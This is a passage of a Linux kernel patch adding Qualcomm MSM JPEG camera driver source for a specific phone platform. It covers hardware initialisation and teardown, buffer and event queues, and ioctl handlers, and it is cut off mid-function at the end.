jpeg_base = ioremap(jpeg_mem->start, resource_size(jpeg_mem)); + if (!jpeg_base) { + rc = -ENOMEM; + JPEG_PR_ERR("%s: ioremap failed\n", __func__); + goto fail_remap; + } + + pgmn_dev->jpeg_fs = regulator_get(&pgmn_dev->pdev->dev, "vdd"); + rc = regulator_enable(pgmn_dev->jpeg_fs); + if (rc) { + JPEG_PR_ERR("%s:%d]jpeg regulator get failed\n", + __func__, __LINE__); + goto fail_fs; + } + + if (msm_jpeg_get_clk_info(pgmn_dev, pgmn_dev->pdev) < 0) { + JPEG_PR_ERR("%s:%d]jpeg clock get failed\n", + __func__, __LINE__); + goto fail_fs; + } + + rc = msm_cam_clk_enable(&pgmn_dev->pdev->dev, jpeg_8x_clk_info, + pgmn_dev->jpeg_clk, pgmn_dev->num_clk, 1); + if (rc < 0) { + JPEG_PR_ERR("%s: clk failed rc = %d\n", __func__, rc); + goto fail_clk; + } + + pgmn_dev->hw_version = readl_relaxed(jpeg_base + + JPEG_HW_VERSION); + JPEG_DBG_HIGH("%s:%d] jpeg HW version 0x%x", __func__, __LINE__, + pgmn_dev->hw_version); + + pgmn_dev->jpeg_vbif = ioremap(vbif_mem->start, resource_size(vbif_mem)); + if (!pgmn_dev->jpeg_vbif) { + rc = -ENOMEM; + JPEG_PR_ERR("%s: ioremap failed\n", __func__); + goto fail_vbif; + } + + JPEG_DBG("%s:%d] jpeg_vbif 0x%x", __func__, __LINE__, + (uint32_t)pgmn_dev->jpeg_vbif); + + rc = msm_jpeg_attach_iommu(pgmn_dev); + if (rc < 0) + goto fail_iommu; + + set_vbif_params(pgmn_dev, pgmn_dev->jpeg_vbif); + + rc = request_irq(jpeg_irq, handler, IRQF_TRIGGER_RISING, "jpeg", + context); + if (rc) { + JPEG_PR_ERR("%s: request_irq failed, %d\n", __func__, + jpeg_irq); + goto fail_request_irq; + } + + *mem = jpeg_mem; + *base = jpeg_base; + *irq = jpeg_irq; + + pgmn_dev->jpeg_client = msm_ion_client_create(-1, "camera/jpeg"); + JPEG_DBG("%s:%d] success\n", __func__, __LINE__); + + pgmn_dev->state = MSM_JPEG_INIT; + return rc; + +fail_request_irq: + msm_jpeg_detach_iommu(pgmn_dev); + +fail_iommu: + iounmap(pgmn_dev->jpeg_vbif); + + +fail_vbif: + msm_cam_clk_enable(&pgmn_dev->pdev->dev, jpeg_8x_clk_info, + pgmn_dev->jpeg_clk, pgmn_dev->num_clk, 0); + +fail_clk: + rc = regulator_disable(pgmn_dev->jpeg_fs); + if (!rc) + regulator_put(pgmn_dev->jpeg_fs); + else + JPEG_PR_ERR("%s:%d] regulator disable failed %d", + __func__, __LINE__, rc); + pgmn_dev->jpeg_fs = NULL; + +fail_fs: + iounmap(jpeg_base); + +fail_remap: + release_mem_region(jpeg_mem->start, resource_size(jpeg_mem)); + JPEG_DBG("%s:%d] fail\n", __func__, __LINE__); + return rc; +} + +int msm_jpeg_platform_release(struct resource *mem, void *base, int irq, + void *context) +{ + int result = 0; + + struct msm_jpeg_device *pgmn_dev = + (struct msm_jpeg_device *) context; + + free_irq(irq, context); + + msm_jpeg_detach_iommu(pgmn_dev); + + if (pgmn_dev->jpeg_bus_client) { + msm_bus_scale_client_update_request( + pgmn_dev->jpeg_bus_client, 0); + msm_bus_scale_unregister_client(pgmn_dev->jpeg_bus_client); + } + + msm_cam_clk_enable(&pgmn_dev->pdev->dev, jpeg_8x_clk_info, + pgmn_dev->jpeg_clk, pgmn_dev->num_clk, 0); + JPEG_DBG("%s:%d] clock disbale done", __func__, __LINE__); + + if (pgmn_dev->jpeg_fs) { + result = regulator_disable(pgmn_dev->jpeg_fs); + if (!result) + regulator_put(pgmn_dev->jpeg_fs); + else + JPEG_PR_ERR("%s:%d] regulator disable failed %d", + __func__, __LINE__, result); + pgmn_dev->jpeg_fs = NULL; + } + iounmap(pgmn_dev->jpeg_vbif); + iounmap(base); + release_mem_region(mem->start, resource_size(mem)); + ion_client_destroy(pgmn_dev->jpeg_client); + pgmn_dev->state = MSM_JPEG_IDLE; + JPEG_DBG("%s:%d] success\n", __func__, __LINE__); + return result; +} + diff --git a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_platform.h b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_platform.h new file mode 100644 index 0000000000000..b59c41f8780c9 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_platform.h @@ -0,0 +1,43 @@ +/* Copyright (c) 2012-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef MSM_JPEG_PLATFORM_H +#define MSM_JPEG_PLATFORM_H + +#include +#include +#include +#include +#include "msm_jpeg_sync.h" +#define JPEG_CLK_RATE 266670000 + +int msm_jpeg_platform_set_clk_rate(struct msm_jpeg_device *pgmn_dev, + long clk_rate); +void msm_jpeg_platform_p2v(struct msm_jpeg_device *pgmn_dev, struct file *file, + struct ion_handle **ionhandle, int domain_num); +uint32_t msm_jpeg_platform_v2p(struct msm_jpeg_device *pgmn_dev, int fd, + uint32_t len, struct file **file, struct ion_handle **ionhandle, + int domain_num); + +int msm_jpeg_platform_clk_enable(void); +int msm_jpeg_platform_clk_disable(void); + +int msm_jpeg_platform_init(struct platform_device *pdev, + struct resource **mem, + void **base, + int *irq, + irqreturn_t (*handler) (int, void *), + void *context); +int msm_jpeg_platform_release(struct resource *mem, void *base, int irq, + void *context); + +#endif /* MSM_JPEG_PLATFORM_H */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_sync.c b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_sync.c new file mode 100644 index 0000000000000..3939cde84432a --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_sync.c @@ -0,0 +1,1292 @@ +/* Copyright (c) 2012-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + + +#include +#include +#include +#include +#include +#include +#include +#include +#include "msm_jpeg_sync.h" +#include "msm_jpeg_core.h" +#include "msm_jpeg_platform.h" +#include "msm_jpeg_common.h" + +#define JPEG_REG_SIZE 0x308 +#define JPEG_DEV_CNT 3 +#define JPEG_DEC_ID 2 +#define UINT32_MAX (0xFFFFFFFFU) + +#ifdef CONFIG_COMPAT +#define MSM_JPEG_IOCTL_RESET32 \ + _IOW(MSM_JPEG_IOCTL_MAGIC, 2, struct msm_jpeg_ctrl_cmd32) + +#define MSM_JPEG_IOCTL_INPUT_BUF_ENQUEUE32 \ + _IOW(MSM_JPEG_IOCTL_MAGIC, 5, struct msm_jpeg_buf32) + +#define MSM_JPEG_IOCTL_INPUT_GET32 \ + _IOW(MSM_JPEG_IOCTL_MAGIC, 6, struct msm_jpeg_buf32) + +#define MSM_JPEG_IOCTL_OUTPUT_BUF_ENQUEUE32 \ + _IOW(MSM_JPEG_IOCTL_MAGIC, 8, struct msm_jpeg_buf32) + +#define MSM_JPEG_IOCTL_OUTPUT_GET32 \ + _IOW(MSM_JPEG_IOCTL_MAGIC, 9, struct msm_jpeg_buf32) + +#define MSM_JPEG_IOCTL_EVT_GET32 \ + _IOW(MSM_JPEG_IOCTL_MAGIC, 11, struct msm_jpeg_ctrl_cmd32) + +#define MSM_JPEG_IOCTL_TEST_DUMP_REGION32 \ + _IOW(MSM_JPEG_IOCTL_MAGIC, 15, compat_ulong_t) + +struct msm_jpeg_ctrl_cmd32 { + uint32_t type; + uint32_t len; + compat_uptr_t value; +}; +struct msm_jpeg_buf32 { + uint32_t type; + int fd; + + compat_uptr_t vaddr; + + uint32_t y_off; + uint32_t y_len; + uint32_t framedone_len; + + uint32_t cbcr_off; + uint32_t cbcr_len; + + uint32_t num_of_mcu_rows; + uint32_t offset; + uint32_t pln2_off; + uint32_t pln2_len; +}; + +#endif + + +inline void msm_jpeg_q_init(char const *name, struct msm_jpeg_q *q_p) +{ + JPEG_DBG("%s:%d] %s\n", __func__, __LINE__, name); + q_p->name = name; + spin_lock_init(&q_p->lck); + INIT_LIST_HEAD(&q_p->q); + init_waitqueue_head(&q_p->wait); + q_p->unblck = 0; +} + +inline void *msm_jpeg_q_out(struct msm_jpeg_q *q_p) +{ + unsigned long flags; + struct msm_jpeg_q_entry *q_entry_p = NULL; + void *data = NULL; + + JPEG_DBG("%s:%d] %s\n", __func__, __LINE__, q_p->name); + spin_lock_irqsave(&q_p->lck, flags); + if (!list_empty(&q_p->q)) { + q_entry_p = list_first_entry(&q_p->q, struct msm_jpeg_q_entry, + list); + list_del_init(&q_entry_p->list); + } + spin_unlock_irqrestore(&q_p->lck, flags); + + if (q_entry_p) { + data = q_entry_p->data; + kfree(q_entry_p); + } else { + JPEG_DBG("%s:%d] %s no entry\n", __func__, __LINE__, + q_p->name); + } + + return data; +} + +inline int msm_jpeg_q_in(struct msm_jpeg_q *q_p, void *data) +{ + unsigned long flags; + + struct msm_jpeg_q_entry *q_entry_p; + + JPEG_DBG("%s:%d] %s\n", __func__, __LINE__, q_p->name); + + q_entry_p = kmalloc(sizeof(struct msm_jpeg_q_entry), GFP_ATOMIC); + if (!q_entry_p) { + JPEG_PR_ERR("%s: no mem\n", __func__); + return -EFAULT; + } + q_entry_p->data = data; + + spin_lock_irqsave(&q_p->lck, flags); + list_add_tail(&q_entry_p->list, &q_p->q); + spin_unlock_irqrestore(&q_p->lck, flags); + + return 0; +} + +inline int msm_jpeg_q_in_buf(struct msm_jpeg_q *q_p, + struct msm_jpeg_core_buf *buf) +{ + struct msm_jpeg_core_buf *buf_p; + + JPEG_DBG("%s:%d]\n", __func__, __LINE__); + buf_p = kmalloc(sizeof(struct msm_jpeg_core_buf), GFP_ATOMIC); + if (!buf_p) { + JPEG_PR_ERR("%s: no mem\n", __func__); + return -EFAULT; + } + + memcpy(buf_p, buf, sizeof(struct msm_jpeg_core_buf)); + + msm_jpeg_q_in(q_p, buf_p); + return 0; +} + +inline int msm_jpeg_q_wait(struct msm_jpeg_q *q_p) +{ + long tm = MAX_SCHEDULE_TIMEOUT; /* 500ms */ + int rc; + + JPEG_DBG("%s:%d] %s wait\n", __func__, __LINE__, q_p->name); + rc = wait_event_interruptible_timeout(q_p->wait, + (!list_empty_careful(&q_p->q) || q_p->unblck), + msecs_to_jiffies(tm)); + JPEG_DBG("%s:%d] %s wait done\n", __func__, __LINE__, q_p->name); + if (list_empty_careful(&q_p->q)) { + if (rc == 0) { + rc = -ETIMEDOUT; + JPEG_PR_ERR("%s:%d] %s timeout\n", __func__, __LINE__, + q_p->name); + } else if (q_p->unblck) { + JPEG_DBG("%s:%d] %s unblock is true\n", __func__, + __LINE__, q_p->name); + q_p->unblck = 0; + rc = -ECANCELED; + } else if (rc < 0) { + JPEG_PR_ERR("%s:%d] %s rc %d\n", __func__, __LINE__, + q_p->name, rc); + } + } + return rc; +} + +inline int msm_jpeg_q_wakeup(struct msm_jpeg_q *q_p) +{ + JPEG_DBG("%s:%d] %s\n", __func__, __LINE__, q_p->name); + wake_up(&q_p->wait); + return 0; +} + +inline int msm_jpeg_q_unblock(struct msm_jpeg_q *q_p) +{ + JPEG_DBG("%s:%d] %s\n", __func__, __LINE__, q_p->name); + q_p->unblck = 1; + wake_up(&q_p->wait); + return 0; +} + +inline void msm_jpeg_outbuf_q_cleanup(struct msm_jpeg_device *pgmn_dev, + struct msm_jpeg_q *q_p, int domain_num) +{ + struct msm_jpeg_core_buf *buf_p; + JPEG_DBG("%s:%d] %s\n", __func__, __LINE__, q_p->name); + do { + buf_p = msm_jpeg_q_out(q_p); + if (buf_p) { + msm_jpeg_platform_p2v(pgmn_dev, buf_p->file, + &buf_p->handle, domain_num); + JPEG_DBG("%s:%d] %s\n", __func__, __LINE__, q_p->name); + kfree(buf_p); + } + } while (buf_p); + q_p->unblck = 0; +} + +inline void msm_jpeg_q_cleanup(struct msm_jpeg_q *q_p) +{ + void *data; + JPEG_DBG("%s:%d] %s\n", __func__, __LINE__, q_p->name); + do { + data = msm_jpeg_q_out(q_p); + if (data) { + JPEG_DBG("%s:%d] %s\n", __func__, __LINE__, q_p->name); + kfree(data); + } + } while (data); + q_p->unblck = 0; +} + +/*************** event queue ****************/ + +int msm_jpeg_framedone_irq(struct msm_jpeg_device *pgmn_dev, + struct msm_jpeg_core_buf *buf_in) +{ + int rc = 0; + + JPEG_DBG("%s:%d] Enter\n", __func__, __LINE__); + + if (buf_in) { + buf_in->vbuf.framedone_len = buf_in->framedone_len; + buf_in->vbuf.type = MSM_JPEG_EVT_SESSION_DONE; + JPEG_DBG("%s:%d] 0x%08x %d framedone_len %d\n", + __func__, __LINE__, + (int) buf_in->y_buffer_addr, buf_in->y_len, + buf_in->vbuf.framedone_len); + rc = msm_jpeg_q_in_buf(&pgmn_dev->evt_q, buf_in); + } else { + JPEG_PR_ERR("%s:%d] no output return buffer\n", + __func__, __LINE__); + rc = -1; + } + + if (buf_in) + rc = msm_jpeg_q_wakeup(&pgmn_dev->evt_q); + + return rc; +} + +int msm_jpeg_evt_get(struct msm_jpeg_device *pgmn_dev, + void __user *to) +{ + struct msm_jpeg_core_buf *buf_p; + struct msm_jpeg_ctrl_cmd ctrl_cmd; + + JPEG_DBG("%s:%d] Enter\n", __func__, __LINE__); + + msm_jpeg_q_wait(&pgmn_dev->evt_q); + buf_p = msm_jpeg_q_out(&pgmn_dev->evt_q); + + if (!buf_p) { + JPEG_DBG("%s:%d] no buffer\n", __func__, __LINE__); + return -EAGAIN; + } + + memset(&ctrl_cmd, 0, sizeof(ctrl_cmd)); + ctrl_cmd.type = buf_p->vbuf.type; + kfree(buf_p); + + JPEG_DBG("%s:%d] 0x%08x %d\n", __func__, __LINE__, + (int) ctrl_cmd.value, ctrl_cmd.len); + + if (copy_to_user(to, &ctrl_cmd, sizeof(ctrl_cmd))) { + JPEG_PR_ERR("%s:%d]\n", __func__, __LINE__); + return -EFAULT; + } + + return 0; +} + +int msm_jpeg_evt_get_unblock(struct msm_jpeg_device *pgmn_dev) +{ + JPEG_DBG("%s:%d] Enter\n", __func__, __LINE__); + msm_jpeg_q_unblock(&pgmn_dev->evt_q); + return 0; +} + +void msm_jpeg_reset_ack_irq(struct msm_jpeg_device *pgmn_dev) +{ + JPEG_DBG("%s:%d]\n", __func__, __LINE__); +} + +void msm_jpeg_err_irq(struct msm_jpeg_device *pgmn_dev, + int event) +{ + int rc = 0; + struct msm_jpeg_core_buf buf; + + JPEG_PR_ERR("%s:%d] error: %d\n", __func__, __LINE__, event); + + buf.vbuf.type = MSM_JPEG_EVT_ERR; + rc = msm_jpeg_q_in_buf(&pgmn_dev->evt_q, &buf); + if (!rc) + rc = msm_jpeg_q_wakeup(&pgmn_dev->evt_q); + + if (!rc) + JPEG_PR_ERR("%s:%d] err err\n", __func__, __LINE__); + + return; +} + +/*************** output queue ****************/ + +int msm_jpeg_we_pingpong_irq(struct msm_jpeg_device *pgmn_dev, + struct msm_jpeg_core_buf *buf_in) +{ + int rc = 0; + struct msm_jpeg_core_buf *buf_out; + + JPEG_DBG("%s:%d] Enter\n", __func__, __LINE__); + if (buf_in) { + JPEG_DBG("%s:%d] 0x%08x %d\n", __func__, __LINE__, + (int) buf_in->y_buffer_addr, buf_in->y_len); + rc = msm_jpeg_q_in_buf(&pgmn_dev->output_rtn_q, buf_in); + } else { + JPEG_DBG("%s:%d] no output return buffer\n", __func__, + __LINE__); + rc = -1; + return rc; + } + + buf_out = msm_jpeg_q_out(&pgmn_dev->output_buf_q); + + if (buf_out) { + JPEG_DBG("%s:%d] 0x%08x %d\n", __func__, __LINE__, + (int) buf_out->y_buffer_addr, buf_out->y_len); + rc = msm_jpeg_core_we_buf_update(pgmn_dev, buf_out); + kfree(buf_out); + } else { + msm_jpeg_core_we_buf_reset(pgmn_dev, buf_in); + JPEG_DBG("%s:%d] no output buffer\n", __func__, __LINE__); + rc = -2; + } + + if (buf_in) + rc = msm_jpeg_q_wakeup(&pgmn_dev->output_rtn_q); + + return rc; +} + +int msm_jpeg_output_get(struct msm_jpeg_device *pgmn_dev, void __user *to) +{ + struct msm_jpeg_core_buf *buf_p; + struct msm_jpeg_buf buf_cmd; + + JPEG_DBG("%s:%d] Enter\n", __func__, __LINE__); + + msm_jpeg_q_wait(&pgmn_dev->output_rtn_q); + buf_p = msm_jpeg_q_out(&pgmn_dev->output_rtn_q); + + if (!buf_p) { + JPEG_DBG("%s:%d] no output buffer return\n", + __func__, __LINE__); + return -EAGAIN; + } + + buf_cmd = buf_p->vbuf; + msm_jpeg_platform_p2v(pgmn_dev, buf_p->file, &buf_p->handle, + pgmn_dev->domain_num); + kfree(buf_p); + + JPEG_DBG("%s:%d] 0x%08x %d\n", __func__, __LINE__, + (int) buf_cmd.vaddr, buf_cmd.y_len); + + if (copy_to_user(to, &buf_cmd, sizeof(buf_cmd))) { + JPEG_PR_ERR("%s:%d]", __func__, __LINE__); + return -EFAULT; + } + + return 0; +} + +int msm_jpeg_output_get_unblock(struct msm_jpeg_device *pgmn_dev) +{ + JPEG_DBG("%s:%d] Enter\n", __func__, __LINE__); + msm_jpeg_q_unblock(&pgmn_dev->output_rtn_q); + return 0; +} + +int msm_jpeg_output_buf_enqueue(struct msm_jpeg_device *pgmn_dev, + void __user *arg) +{ + struct msm_jpeg_buf buf_cmd; + struct msm_jpeg_core_buf *buf_p; + memset(&buf_cmd, 0x0, sizeof(struct msm_jpeg_buf)); + + JPEG_DBG("%s:%d] Enter\n", __func__, __LINE__); + if (copy_from_user(&buf_cmd, arg, sizeof(struct msm_jpeg_buf))) { + JPEG_PR_ERR("%s:%d] failed\n", __func__, __LINE__); + return -EFAULT; + } + + buf_p = kmalloc(sizeof(struct msm_jpeg_core_buf), GFP_ATOMIC); + if (!buf_p) { + JPEG_PR_ERR("%s:%d] no mem\n", __func__, __LINE__); + return -EFAULT; + } + + JPEG_DBG("%s:%d] vaddr = 0x%08x y_len = %d\n, fd = %d", + __func__, __LINE__, (int) buf_cmd.vaddr, buf_cmd.y_len, + buf_cmd.fd); + + buf_p->y_buffer_addr = msm_jpeg_platform_v2p(pgmn_dev, buf_cmd.fd, + buf_cmd.y_len + buf_cmd.cbcr_len + buf_cmd.pln2_len, + &buf_p->file, &buf_p->handle, pgmn_dev->domain_num); + if (!buf_p->y_buffer_addr) { + JPEG_PR_ERR("%s:%d] v2p wrong\n", __func__, __LINE__); + kfree(buf_p); + return -EFAULT; + } + + if (buf_cmd.cbcr_len) + buf_p->cbcr_buffer_addr = buf_p->y_buffer_addr + + buf_cmd.y_len; + else + buf_p->cbcr_buffer_addr = 0x0; + + if (buf_cmd.pln2_len) + buf_p->pln2_addr = buf_p->cbcr_buffer_addr + + buf_cmd.cbcr_len; + else + buf_p->pln2_addr = 0x0; + + JPEG_DBG("%s:%d]After v2p pln0_addr %x pln0_len %d", + __func__, __LINE__, buf_p->y_buffer_addr, + buf_cmd.y_len); + + JPEG_DBG("pl1_len %d, pln1_addr %x, pln2_adrr %x,pln2_len %d", + buf_cmd.cbcr_len, buf_p->cbcr_buffer_addr, + buf_p->pln2_addr, buf_cmd.pln2_len); + + buf_p->y_len = buf_cmd.y_len; + buf_p->cbcr_len = buf_cmd.cbcr_len; + buf_p->pln2_len = buf_cmd.pln2_len; + buf_p->vbuf = buf_cmd; + + msm_jpeg_q_in(&pgmn_dev->output_buf_q, buf_p); + return 0; +} + +/*************** input queue ****************/ + +int msm_jpeg_fe_pingpong_irq(struct msm_jpeg_device *pgmn_dev, + struct msm_jpeg_core_buf *buf_in) +{ + struct msm_jpeg_core_buf *buf_out; + int rc = 0; + + JPEG_DBG("%s:%d] Enter\n", __func__, __LINE__); + if (buf_in) { + JPEG_DBG("%s:%d] 0x%08x %d\n", __func__, __LINE__, + (int) buf_in->y_buffer_addr, buf_in->y_len); + rc = msm_jpeg_q_in_buf(&pgmn_dev->input_rtn_q, buf_in); + } else { + JPEG_DBG("%s:%d] no input return buffer\n", __func__, + __LINE__); + rc = -EFAULT; + } + + buf_out = msm_jpeg_q_out(&pgmn_dev->input_buf_q); + + if (buf_out) { + rc = msm_jpeg_core_fe_buf_update(pgmn_dev, buf_out); + kfree(buf_out); + msm_jpeg_core_fe_start(pgmn_dev); + } else { + JPEG_DBG("%s:%d] no input buffer\n", __func__, __LINE__); + rc = -EFAULT; + } + + if (buf_in) + rc = msm_jpeg_q_wakeup(&pgmn_dev->input_rtn_q); + + return rc; +} + +int msm_jpeg_input_get(struct msm_jpeg_device *pgmn_dev, void __user *to) +{ + struct msm_jpeg_core_buf *buf_p; + struct msm_jpeg_buf buf_cmd; + + JPEG_DBG("%s:%d] Enter\n", __func__, __LINE__); + msm_jpeg_q_wait(&pgmn_dev->input_rtn_q); + buf_p = msm_jpeg_q_out(&pgmn_dev->input_rtn_q); + + if (!buf_p) { + JPEG_DBG("%s:%d] no input buffer return\n", + __func__, __LINE__); + return -EAGAIN; + } + + buf_cmd = buf_p->vbuf; + msm_jpeg_platform_p2v(pgmn_dev, buf_p->file, &buf_p->handle, + pgmn_dev->domain_num); + kfree(buf_p); + + JPEG_DBG("%s:%d] 0x%08x %d\n", __func__, __LINE__, + (int) buf_cmd.vaddr, buf_cmd.y_len); + + if (copy_to_user(to, &buf_cmd, sizeof(buf_cmd))) { + JPEG_PR_ERR("%s:%d]\n", __func__, __LINE__); + return -EFAULT; + } + + return 0; +} + +int msm_jpeg_input_get_unblock(struct msm_jpeg_device *pgmn_dev) +{ + JPEG_DBG("%s:%d] Enter\n", __func__, __LINE__); + msm_jpeg_q_unblock(&pgmn_dev->input_rtn_q); + return 0; +} + +int msm_jpeg_input_buf_enqueue(struct msm_jpeg_device *pgmn_dev, + void __user *arg) +{ + struct msm_jpeg_core_buf *buf_p; + struct msm_jpeg_buf buf_cmd; + memset(&buf_cmd, 0x0, sizeof(struct msm_jpeg_buf)); + + if (copy_from_user(&buf_cmd, arg, sizeof(struct msm_jpeg_buf))) { + JPEG_PR_ERR("%s:%d] failed\n", __func__, __LINE__); + return -EFAULT; + } + + buf_p = kmalloc(sizeof(struct msm_jpeg_core_buf), GFP_ATOMIC); + if (!buf_p) { + JPEG_PR_ERR("%s:%d] no mem\n", __func__, __LINE__); + return -EFAULT; + } + + JPEG_DBG("%s:%d] 0x%08x %d\n", __func__, __LINE__, + (int) buf_cmd.vaddr, buf_cmd.y_len); + + buf_p->y_buffer_addr = msm_jpeg_platform_v2p(pgmn_dev, buf_cmd.fd, + buf_cmd.y_len + buf_cmd.cbcr_len + + buf_cmd.pln2_len + buf_cmd.offset, + &buf_p->file, &buf_p->handle, pgmn_dev->domain_num) + + buf_cmd.offset + buf_cmd.y_off; + buf_p->y_len = buf_cmd.y_len; + buf_p->cbcr_len = buf_cmd.cbcr_len; + buf_p->pln2_len = buf_cmd.pln2_len; + buf_p->num_of_mcu_rows = buf_cmd.num_of_mcu_rows; + + if (buf_cmd.cbcr_len) + buf_p->cbcr_buffer_addr = buf_p->y_buffer_addr + + buf_cmd.y_len + buf_cmd.cbcr_off; + else + buf_p->cbcr_buffer_addr = 0x0; + + if (buf_cmd.pln2_len) + buf_p->pln2_addr = buf_p->cbcr_buffer_addr + + buf_cmd.cbcr_len + buf_cmd.pln2_off; + else + buf_p->pln2_addr = 0x0; + + JPEG_DBG("%s: y_addr=%x, y_len=%x, cbcr_addr=%x, cbcr_len=%d", + __func__, buf_p->y_buffer_addr, buf_p->y_len, + buf_p->cbcr_buffer_addr, buf_p->cbcr_len); + JPEG_DBG("pln2_addr = %x, pln2_len = %d, fd =%d\n", + buf_p->pln2_addr, buf_p->pln2_len, buf_cmd.fd); + + if (!buf_p->y_buffer_addr) { + JPEG_PR_ERR("%s:%d] v2p wrong\n", __func__, __LINE__); + kfree(buf_p); + return -EFAULT; + } + buf_p->vbuf = buf_cmd; + + msm_jpeg_q_in(&pgmn_dev->input_buf_q, buf_p); + + return 0; +} + +int msm_jpeg_irq(int event, void *context, void *data) +{ + struct msm_jpeg_device *pgmn_dev = + (struct msm_jpeg_device *) context; + + switch (event) { + case MSM_JPEG_EVT_SESSION_DONE: + msm_jpeg_framedone_irq(pgmn_dev, data); + msm_jpeg_we_pingpong_irq(pgmn_dev, data); + break; + + case MSM_JPEG_HW_MASK_COMP_FE: + msm_jpeg_fe_pingpong_irq(pgmn_dev, data); + break; + + case MSM_JPEG_HW_MASK_COMP_WE: + msm_jpeg_we_pingpong_irq(pgmn_dev, data); + break; + + case MSM_JPEG_HW_MASK_COMP_RESET_ACK: + msm_jpeg_reset_ack_irq(pgmn_dev); + break; + + case MSM_JPEG_HW_MASK_COMP_ERR: + default: + msm_jpeg_err_irq(pgmn_dev, event); + break; + } + + return 0; +} + +int __msm_jpeg_open(struct msm_jpeg_device *pgmn_dev) +{ + int rc; + + mutex_lock(&pgmn_dev->lock); + if (pgmn_dev->open_count) { + /* only open once */ + JPEG_PR_ERR("%s:%d] busy\n", __func__, __LINE__); + mutex_unlock(&pgmn_dev->lock); + return -EBUSY; + } + pgmn_dev->open_count++; + mutex_unlock(&pgmn_dev->lock); + + msm_jpeg_core_irq_install(msm_jpeg_irq); + rc = msm_jpeg_platform_init(pgmn_dev->pdev, + &pgmn_dev->mem, &pgmn_dev->base, + &pgmn_dev->irq, msm_jpeg_core_irq, pgmn_dev); + if (rc) { + JPEG_PR_ERR("%s:%d] platform_init fail %d\n", __func__, + __LINE__, rc); + return rc; + } + + JPEG_DBG("%s:%d] platform resources - mem %p, base %p, irq %d\n", + __func__, __LINE__, + pgmn_dev->mem, pgmn_dev->base, pgmn_dev->irq); + pgmn_dev->res_size = resource_size(pgmn_dev->mem); + + msm_jpeg_q_cleanup(&pgmn_dev->evt_q); + msm_jpeg_q_cleanup(&pgmn_dev->output_rtn_q); + msm_jpeg_outbuf_q_cleanup(pgmn_dev, &pgmn_dev->output_buf_q, + pgmn_dev->domain_num); + msm_jpeg_q_cleanup(&pgmn_dev->input_rtn_q); + msm_jpeg_q_cleanup(&pgmn_dev->input_buf_q); + msm_jpeg_core_init(pgmn_dev); + + JPEG_DBG("%s:%d] success\n", __func__, __LINE__); + return rc; +} + +int __msm_jpeg_release(struct msm_jpeg_device *pgmn_dev) +{ + JPEG_DBG("%s:%d] Enter\n", __func__, __LINE__); + mutex_lock(&pgmn_dev->lock); + if (!pgmn_dev->open_count) { + JPEG_PR_ERR(KERN_ERR "%s: not opened\n", __func__); + mutex_unlock(&pgmn_dev->lock); + return -EINVAL; + } + pgmn_dev->open_count--; + mutex_unlock(&pgmn_dev->lock); + + msm_jpeg_core_release(pgmn_dev, pgmn_dev->domain_num); + msm_jpeg_q_cleanup(&pgmn_dev->evt_q); + msm_jpeg_q_cleanup(&pgmn_dev->output_rtn_q); + msm_jpeg_outbuf_q_cleanup(pgmn_dev, &pgmn_dev->output_buf_q, + pgmn_dev->domain_num); + msm_jpeg_q_cleanup(&pgmn_dev->input_rtn_q); + msm_jpeg_outbuf_q_cleanup(pgmn_dev, &pgmn_dev->input_buf_q, + pgmn_dev->domain_num); + + JPEG_DBG("%s:%d]\n", __func__, __LINE__); + if (pgmn_dev->open_count) + JPEG_PR_ERR(KERN_ERR "%s: multiple opens\n", __func__); + + msm_jpeg_platform_release(pgmn_dev->mem, pgmn_dev->base, + pgmn_dev->irq, pgmn_dev); + + JPEG_DBG("%s:%d]\n", __func__, __LINE__); + return 0; +} + +int msm_jpeg_ioctl_hw_cmd(struct msm_jpeg_device *pgmn_dev, + void * __user arg) +{ + struct msm_jpeg_hw_cmd hw_cmd; + int is_copy_to_user; + + if (copy_from_user(&hw_cmd, arg, sizeof(struct msm_jpeg_hw_cmd))) { + JPEG_PR_ERR("%s:%d] failed\n", __func__, __LINE__); + return -EFAULT; + } + + is_copy_to_user = msm_jpeg_hw_exec_cmds(&hw_cmd, 1, + pgmn_dev->res_size, pgmn_dev->base); + JPEG_DBG("%s:%d] type %d, n %d, offset %d, mask %x, data %x,pdata %x\n", + __func__, __LINE__, hw_cmd.type, hw_cmd.n, hw_cmd.offset, + hw_cmd.mask, hw_cmd.data, (int) hw_cmd.pdata); + + if (is_copy_to_user >= 0) { + if (copy_to_user(arg, &hw_cmd, sizeof(hw_cmd))) { + JPEG_PR_ERR("%s:%d] failed\n", __func__, __LINE__); + return -EFAULT; + } + } else { + return is_copy_to_user; + } + + return 0; +} + +int msm_jpeg_ioctl_hw_cmds(struct msm_jpeg_device *pgmn_dev, + void * __user arg) +{ + int is_copy_to_user; + uint32_t len; + uint32_t m; + struct msm_jpeg_hw_cmds *hw_cmds_p; + struct msm_jpeg_hw_cmd *hw_cmd_p; + + if (copy_from_user(&m, arg, sizeof(m))) { + JPEG_PR_ERR("%s:%d] failed\n", __func__, __LINE__); + return -EFAULT; + } + + if ((m == 0) || (m > ((UINT32_MAX - sizeof(struct msm_jpeg_hw_cmds)) / + sizeof(struct msm_jpeg_hw_cmd)))) { + JPEG_PR_ERR("%s:%d] m_cmds out of range\n", __func__, __LINE__); + return -EFAULT; + } + + len = sizeof(struct msm_jpeg_hw_cmds) + + sizeof(struct msm_jpeg_hw_cmd) * (m - 1); + hw_cmds_p = kmalloc(len, 